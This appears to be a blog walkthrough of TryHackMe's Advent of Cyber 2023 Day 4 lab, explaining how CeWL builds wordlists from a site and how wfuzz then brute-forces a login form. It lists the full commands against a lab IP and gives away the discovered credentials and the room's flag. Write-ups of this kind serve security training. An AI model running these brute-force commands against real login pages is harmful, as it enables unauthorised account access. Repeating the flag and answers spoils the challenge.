TryHackMe — Advent of Cyber 2023: [Day 4] Brute-forcing: Baby, It’s CeWLd outside.

Day 4 of TryHackMe’s Advent of Cyber 2023 has been launched.

Link: https://tryhackme.com/room/adventofcyber2023

Learning Objectives

• What is CeWL?
• What are the capabilities of CeWL?
• How can we leverage CeWL to generate a custom wordlist from a website?
• How can we customise the tool’s output for specific tasks?

Introduction to CEWL

CEWL, short for Custom Word List Generator, is a potent tool employed in penetration testing to generate custom wordlists. It scours through target websites, extracting unique words and phrases from the site’s content. These extracted terms are pivotal in constructing targeted dictionaries for password cracking or brute force attacks, enabling testers to create more refined and effective attack strategies. CEWL’s ability to craft specialized wordlists based on the specific language and context of a website amplifies the accuracy and success rates of penetration testing endeavors.

SO the question is, why Cewl? While there are other tools that generate passwords, cewl offers a unique approach in which it targets the contents of the website. The tool also provide options to spider through the websites on many levels. This is very helpful as a lot of time, hackers can find usernames and passwords based on the content of the web applications.

Using CEWL

To install the tool, run sudo apt-get install cewl -y

To generate a passowrd list from a website, run:

cewl http://$TARGET -w passwords.txt  

     -w: specify the command to output generated passwords to the `passwords.txt`

Some options that are commonly used with cewl

• -d — specify the depth you want to spider the web. For example, -d 2 means it will spider 2 links deep.
• -m and -x — specify the minimum and maximum length of the passwords.
• --with-numbers — an extension that tells the tool to append numbers to the words
• -a — if a web page requires authentication, this options will handle the authentication process.

Practical Challenge

Exploring the website, we see that on team.php, there’s information about the team members. From here we can generate a list of usernames.

To generate a usernames list from the target application, we run cewl [http://10.10.25010/team.php](http://10.10.25010/team.php) -d 0 -m 5 -w usernames.txt --lowercase

Similarly, we can generate a passwords list based on the content of the website cewl [http://10.10.250.10](http://10.10.250.10) -d 2 -m 5 -w passwords.txt --with-numbers

Now we’ve created a custom username list and password list, we can use wfuzz to brute-force the login on the login.php page.

wfuzz -c -z file,usernames.txt -z file,passwords.txt --hs "Please enter the correct credentials" -d "username=FUZZ&password=FUZ2Z" -u http://10.10.250.10/login.php

• z file,usernames.txt & z file,passwords.txt — specify the usernames file and password file
• --hs “Please enter the correct credentials” — hide responses that contain the string “Please enter the correct credentials
• -d "username=FUZZ&password=FUZ2Z" — data for the POST request to login.

To figure the message for failed login, go to the target site and try any random credentials, we’ll get the message:

After running the command, we find isaias || Happiness to be valid credetials

Log in with the found credentials. Once logged in, go throught the inboxes, we’ll find the flag

What is the correct username and password combination? Format username:password

Answer: isaias:Happiness

What is the flag?

Answer: THM{m3rrY4nt4rct1crAft$}

Conclusion

That’s it for the room. Hope you enjoy this walkthrough. If you have any questions, please feel free to contact me. Also, please follow and clap for my articles if you find it helpful.